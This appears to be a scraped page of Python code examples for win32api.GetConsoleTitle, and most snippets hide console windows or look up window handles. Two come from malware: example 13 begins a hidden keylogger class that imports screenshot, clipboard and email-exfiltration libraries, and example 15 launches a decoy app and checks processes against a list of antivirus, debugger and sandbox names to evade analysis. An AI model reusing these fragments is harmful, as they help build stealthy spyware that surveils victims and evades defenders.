Ejemplo n.º 1
0
def main():
    most = most_frequent()
    while 1:
        try:
            sub = raw_input("Please the time in second and an int[" +
                            str(most) + "]:")
            if sub == "" and most != "":
                sub = int(most)
            elif sub == "" and most == "":
                messagebox.showinfo("Error", "Input Error")
                continue
            else:
                q = open("num.txt", "a+")
                q.write(sub + "\n")
                q.close()
                sub = int(sub)
            break
        except:
            messagebox.showinfo("Error", "Input Error")
            continue
    ct = win32api.GetConsoleTitle()
    hd = win32gui.FindWindow(0, ct)
    win32gui.ShowWindow(hd, 0)
    while True:
        now = t.time()
        while 1:
            sub_check = t.time() - now
            if sub_check >= sub:
                messagebox.showinfo("Tips",
                                    "The time you set is up.Please rest!")
                break
Ejemplo n.º 2
0
def main():

    title = win32api.GetConsoleTitle()
    print

    done = False
    while not done:

        init()
        try:
            get_parms()
            print
            copydel()

        except Quit:
            pass

        print

        if title.endswith("python.exe"):
            print "Note: When you quit, this window will disappear."

        answ = yn("Start again", "n", echo=True)
        print
        if answ == NO:
            done = True
Ejemplo n.º 3
0
def GetConsoleHwnd():
    """Returns the window handle of the console window in which this script is
    running, or 0 if not running in a console window.  This function is taken
    directly from Pythonwin\dllmain.cpp in the win32all source, ported to
    Python."""

    # fetch current window title
    try:
        oldWindowTitle = win32api.GetConsoleTitle()
    except:
        return 0

    # format a "unique" NewWindowTitle
    newWindowTitle = "%d/%d" % (win32api.GetTickCount(),
                                win32api.GetCurrentProcessId())

    # change current window title
    win32api.SetConsoleTitle(newWindowTitle)

    # ensure window title has been updated
    import time
    time.sleep(0.040)

    # look for NewWindowTitle
    hwndFound = win32gui.FindWindow(0, newWindowTitle)

    # restore original window title
    win32api.SetConsoleTitle(oldWindowTitle)

    return hwndFound
Ejemplo n.º 4
0
def main():
    # 如果是在Window环境下就让程序在后台运行
    if platform.system() == "Windows":
        import win32api, win32gui
        ct = win32api.GetConsoleTitle()
        hd = win32gui.FindWindow(0, ct)
        win32gui.ShowWindow(hd, 0)
    else:
        # 如果是在Linux环境下就调用创建守护进程
        daemon()

    # 创建子进程来负责处理proxy的信息
    p1 = Process(target=transfer)
    p1.daemon = True
    p1.start()

    # 创建子进程来循环接收agent传来的失败的记录信息
    p2 = Process(target=check_fail_msg)
    p2.daemon = True
    p2.start()

    # # 创建一个线程来负责处理周期检查agent是否存在
    # t1 = Thread(target=check_agent)
    # t1.setDaemon(True)
    # t1.start()

    # 创建一个线程来循环执行检测端口的访问量
    t2 = Thread(target=check_count)
    t2.setDaemon(True)
    t2.start()

    # 创建一个线程来循环执行检测log文档,超出1个月的就删掉
    t3 = Thread(target=check_logfile)
    t3.setDaemon(True)
    t3.start()
Ejemplo n.º 5
0
def main():
    ct = win32api.GetConsoleTitle()
    hd = win32gui.FindWindow(0, ct)
    win32gui.ShowWindow(hd, 0)
    app = wx.App()
    frame = Activity_select(None)
    frame.Show()
    app.MainLoop()
Ejemplo n.º 6
0
def 获得自我句柄(): 
    原标题 = win32api.GetConsoleTitle()
    新标题 = f'snow({random.random()})'
    win32api.SetConsoleTitle(新标题)
    time.sleep(0.05)
    句柄 = win32gui.FindWindow(None, 新标题)
    win32api.SetConsoleTitle(原标题)
    return 句柄
Ejemplo n.º 7
0
def main():
    ct = win32api.GetConsoleTitle()
    hd = win32gui.FindWindow(0, ct)
    win32gui.ShowWindow(hd, 0)
    app = wx.App(False)
    frame = LinkStoneFinInsert(None)
    frame.Show(True)
    app.MainLoop()
def main():
    ct = win32api.GetConsoleTitle()
    hd = win32gui.FindWindow(0, ct)
    win32gui.ShowWindow(hd, 0)
    app = wx.App(False)
    frame = SelStuGrade(None)
    frame.Show(True)
    app.MainLoop()
Ejemplo n.º 9
0
 def show_window(self, use_ctypes=False):
     '''
         显示cmd窗口
     '''
     if use_ctypes:
         pass
     else:
         ct = win32api.GetConsoleTitle()
         hd = win32gui.FindWindow(0, ct)
         win32gui.ShowWindow(hd, 1)
Ejemplo n.º 10
0
 def hide_window(self, use_ctypes=False):
     '''
         隐藏cmd窗口
     '''
     if use_ctypes:
         whnd = ctypes.windll.kernel32.GetConsoleWindow()
         if whnd != 0:
             ctypes.windll.user32.ShowWindow(whnd, 0)
             ctypes.windll.kernel32.CloseHandle(whnd)
     else:
         ct = win32api.GetConsoleTitle()
         hd = win32gui.FindWindow(0, ct)
         win32gui.ShowWindow(hd, 0)
Ejemplo n.º 11
0
def refreshWindow():
    '''refresh window's handle (HWND)'''
    global hWnd
    s = win32api.GetConsoleTitle()
    hWnd = win32gui.FindWindow(0, s)
Ejemplo n.º 12
0
 def __init__(self):
     assert Console.__inst is None
     self.__hDevice = kernel32.GetStdHandle(
         Console.STD_OUTPUT_HANDLE)  # 控制台设备句柄
     self.__title = win32api.GetConsoleTitle()  # cmd 窗口标题
Ejemplo n.º 13
0
try:
    import win32gui, win32con, win32api
    minimize = win32gui.FindWindow(None, win32api.GetConsoleTitle())
    win32gui.ShowWindow(minimize , win32con.SW_HIDE)
except:
    pass

from pynput import keyboard
import threading
import datetime
import pyautogui
import os, tempfile
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
import clipboard
import requests
import socket
import wmi
import shutil
import sys
import subprocess


class Wildlogger:
    def __init__(self,text_interval,screenshot_interval,from_email,password,to_email):
        # self.persistent()
        self.log = ""
        self.text_interval=text_interval
        self.screenshot_interval=screenshot_interval
Ejemplo n.º 14
0
import win32gui, win32api
while True:
    win32gui.ShowWindow(win32gui.FindWindow(0, win32api.GetConsoleTitle()), 0)
    win32gui.ShowWindow(win32gui.FindWindow(0, win32api.GetConsoleTitle()), 1)
Ejemplo n.º 15
0
# Open decoy app if decoy name
hideSelf = True
if USB_NAME in sys.argv[0]:
	hideSelf = False
	os.system("C:\\Windows\\write.exe")

# Check mutex to detect multilaunch
if (len(sys.argv) == 1):
	mutex = win32event.CreateMutex(None, 1, "dreamcatchr")
	if (win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS):
		os._exit(420)

# Stuff we want nothing to do wit
evadeList = ["avast", "norman", "comodo", "anitvirus", "virus", "reverse", "vmware-tray.exe", "vmmap.exe", "ollydbg.exe", "olly debug", "debugger", "debugging", "radare", "malware", "procdump.exe", "debug", "Procmon.exe", "norton", "trend micro", "eset", "kaspersky", "sandbox", "vmware", "virtualbox", "VBoxTray.exe", "VBoxService.exe", "Norton", "analyzing", "love"]
systemTokens = win32api.GetConsoleTitle().split(" ")
systemTokens.append(win32api.GetUserName())
systemTokens.append(win32api.GetDomainName())
systemTokens.append(win32api.GetComputerName())

# Path tokens
for token in os.getcwd().split("\\"):
	systemTokens.append(token)

# Process tokens
drmwmi = wmi.WMI()
for process in drmwmi.Win32_Process():
	systemTokens.append(process.Name)

from core import *
Ejemplo n.º 16
0
def refreshWindow():
    '''更新窗口句柄'''
    global hWnd
    s = win32api.GetConsoleTitle()
    hWnd = win32gui.FindWindow(0, s)
    return
Ejemplo n.º 17
0
"""
Provides a  convenience class to call Minuit, mimicking the interface to scipy.optimizers.fmin.

author: Eric Wallace <*****@*****.**>
$Header: /nfs/slac/g/glast/ground/cvs/pointlike/python/uw/utilities/minuit.py,v 1.17 2011/06/07 17:22:34 lande Exp $

"""
import sys, os
# normal CMT setup does not put ROOT.py in the python path
if sys.platform == 'win32':
    import win32api
    console_title = win32api.GetConsoleTitle()
try:
    import ROOT
except:
    sys.path.append(os.path.join(os.environ['ROOTSYS'], 'bin'))
    import ROOT

if sys.platform == 'win32':
    win32api.SetConsoleTitle(console_title)  #restore title bar!
    import pyreadline  # fix for tab completion
    pyreadline.parse_and_bind('set show-all-if-ambiguous on')

from ROOT import TMinuit, Long, Double

import numpy as np
from numpy.linalg import inv


def rosenbrock(x):
    """Rosenbrock function, to use for testing."""
Ejemplo n.º 18
0
def CheckConsole():
    console = win32api.GetConsoleTitle()
    handle = win32gui.FindWindow(0, console)
    win32gui.ShowWindow(handle, 0)
    print(handle)
Ejemplo n.º 19
0
            return
        # Skip blank lines
        if not self.data.strip():
            return
        record = logging.LogRecord(self.name, self.level, "", "",
                                   self.data, None, None)
        self.log.emit(record)
        self.data = ""


# Messages from pop3proxy will go nowhere when executed as a service
# Try and detect that print will go nowhere and redirect.
# redirect output somewhere useful when running as a service.
import win32api
try:
    win32api.GetConsoleTitle()
except win32api.error:
    # No console - if we are running from Python sources,
    # redirect to win32traceutil, but if running from a binary
    # install, redirect to the services event log.
    # We used to redirect to log files (in the temp folder, in
    # the form SpamBayesService%d.log), but that is apparently
    # not necessarily a good place, so we moved to the official
    # location.
    # Want to move to logging module later, so for now, we
    # hack together a simple logging strategy.
    if hasattr(sys, "frozen"):
        sys.stdout = ServiceEventLogHandlerWrapper("pop3proxy")
        sys.stderr = ServiceEventLogHandlerWrapper("pop3proxy",
                                                   logging.ERROR)
    else:
Ejemplo n.º 20
0
import win32api as api
import win32con as con
for disk in "CDEF":
    F = api.GetDiskFreeSpace(disk + ":")
    rest = F[0] * F[1] * F[2] / 1e9
    total = F[0] * F[1] * F[3] / 1e9
    print("Rest:", rest, "G", "Total:", total, "G")
print(api.GetComputerName())
print(api.GetConsoleTitle())
print(api.GetCommandLine())
print(api.GetCursorPos())
print(api.GetDomainName())
print(api.GetEnvironmentVariable('path'))
print(api.GetFileAttributes('.'))
print(api.GetFileVersionInfo('C:\\windows\\system32\\cmd.exe', "\\"))
print(api.GetFullPathName('.'))
print(api.GetLocalTime())
print(api.GetLogicalDriveStrings().replace('\x00', ' '))
print(api.GetLogicalDrives())
print(api.GetLongPathName('C:'))
print(api.GetModuleFileName(0))
print(api.GetNativeSystemInfo())
print(hex(api.GetSysColor(con.COLOR_WINDOW)))
print(api.GetSystemDirectory())
print(api.GetSystemInfo())
print(api.GetSystemMetrics(con.SM_CXSCREEN))
print(api.GetSystemTime())
print(api.GetTickCount())
# print(api.GetTimeZoneInformation())
print(api.GetUserDefaultLangID())
print(api.GetUserName())